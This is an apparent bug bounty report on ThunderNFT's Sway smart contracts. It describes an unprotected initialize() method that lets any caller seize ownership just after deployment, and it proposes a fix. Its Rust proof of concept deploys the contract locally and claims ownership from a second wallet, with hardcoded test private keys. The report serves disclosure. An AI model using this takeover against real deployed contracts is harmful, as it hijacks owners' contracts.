Submitted on Thu Aug 15 2024 13:32:23 GMT-0400 (Atlantic Standard Time) by @jecikpo for IOP | ThunderNFT
Report ID: #34545
Report type: Smart Contract
Report severity: Low
Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/thunder_exchange
Impacts:
Contract fails to deliver promised returns, but doesn't lose value
DoS of contract deployment
Description
Brief/Intro
Each smart contract in Thunder NFT system has an initialize()
method which is used to set the owner of the contract. The owner has access to some privileged methods. There is no verification of who can call initialize()
and hence it can be called by a malicious user right after the contract deployment.
Vulnerability Details
Each contract has an initialize()
method, e.g. from the ThunderExchange
contract:
Copy fn initialize() {
require(
!_is_initialized(),
ThunderExchangeErrors::Initialized
);
storage.is_initialized.write(true);
let caller = get_msg_sender_address_or_panic();
storage.owner.set_ownership(Identity::Address(caller));
[ . . . ]
}
We can see here that it can be called by anyone unless it was called already (the check happens through the _is_initialized()
function.
A malicious user could be back-running the contract deployment and immediately call the method and hence setting himself as the owner.
Impact Details
This vulnerability can cause inconvenience within contract deployment as the deployed contract would get useless after a hostile takeover.
In extreme case the takeovers can continue forcing the team to change the code.
Solution Proposal
Force the owner setting through Sway configurable
sections which will set the owner during contract deployment making the attack impossible.
References
https://github.com/ThunderFuel/smart-contracts/blob/260c9859e2cd28c188e8f6283469bcf57c9347de/contracts-v1/thunder_exchange/src/main.sw#L65
Proof of concept
Proof of Concept
The PoC code is below:
Copy use std::str::FromStr;
use std::convert::TryInto;
use fuels::{
prelude::*,
types::ContractId,
crypto::SecretKey,
types::Identity,
types::Bits256
};
use rand::Rng;
// Load abi from json
abigen!(Contract(
name = "ThunderExchange",
abi = "thunder_exchange/out/debug/thunder_exchange-abi.json"
));
async fn get_contract_instance() -> (ThunderExchange<WalletUnlocked>, ContractId, WalletUnlocked, AssetId) {
// Launch a local network and deploy the contract
let provider = Provider::connect("127.0.0.1:4000").await.unwrap();
//let provider = Provider::connect("testnet.fuel.network").await.unwrap();
let secret = match SecretKey::from_str(
"37787bd2cf8a35b8a5a515c45fa109852162596190babcd775a4d08cb1781e4d"
) {
Ok(value) => value,
Err(e) => panic!("unable to create secret: {}", e),
};
let wallet = WalletUnlocked::new_from_private_key(secret, Some(provider.clone()));
// Generate a random 32-byte array
let mut rng = rand::thread_rng();
let mut bytes = [0u8; 32];
rng.fill(&mut bytes);
let salt = Salt::new(bytes);
let id = Contract::load_from(
"thunder_exchange/out/debug/thunder_exchange.bin",
LoadConfiguration::default().with_salt(salt),
)
.unwrap()
.deploy(&wallet, TxPolicies::default().with_script_gas_limit(400000).with_max_fee(400000))
.await
.unwrap();
let instance = ThunderExchange::new(id.clone(), wallet.clone());
let base_asset_id = provider.base_asset_id();
(instance, id.into(), wallet, *base_asset_id)
}
#[tokio::test]
async fn test_initialization() {
let (instance, _id, _wallet, _base_asset_id) = get_contract_instance().await;
let gas_limit = 400000;
let owner_address = Identity::Address(Address::from(_wallet.address()));
let second_wallet = get_second_wallet().await;
let res = instance.clone()
.with_account(second_wallet)
.methods()
.initialize() // smart contract function
.with_tx_policies(
TxPolicies::default()
.with_script_gas_limit(gas_limit)
)
.call()
.await
.unwrap();
println!("read result: {:?}", res.value);
println!("TX id: {:?}", res.tx_id);
}
async fn get_second_wallet() -> WalletUnlocked {
let provider = Provider::connect("127.0.0.1:4000").await.unwrap();
//let provider = Provider::connect("testnet.fuel.network").await.unwrap();
let secret = match SecretKey::from_str(
"767e2342a22f23440a0755d24b61112c5cd700a1d8100b873bb7fca2ef2779e2"
) {
Ok(value) => value,
Err(e) => panic!("unable to create secret: {}", e),
};
WalletUnlocked::new_from_private_key(secret, Some(provider))
}
We can see that the initialize()
was called successfully from another wallet.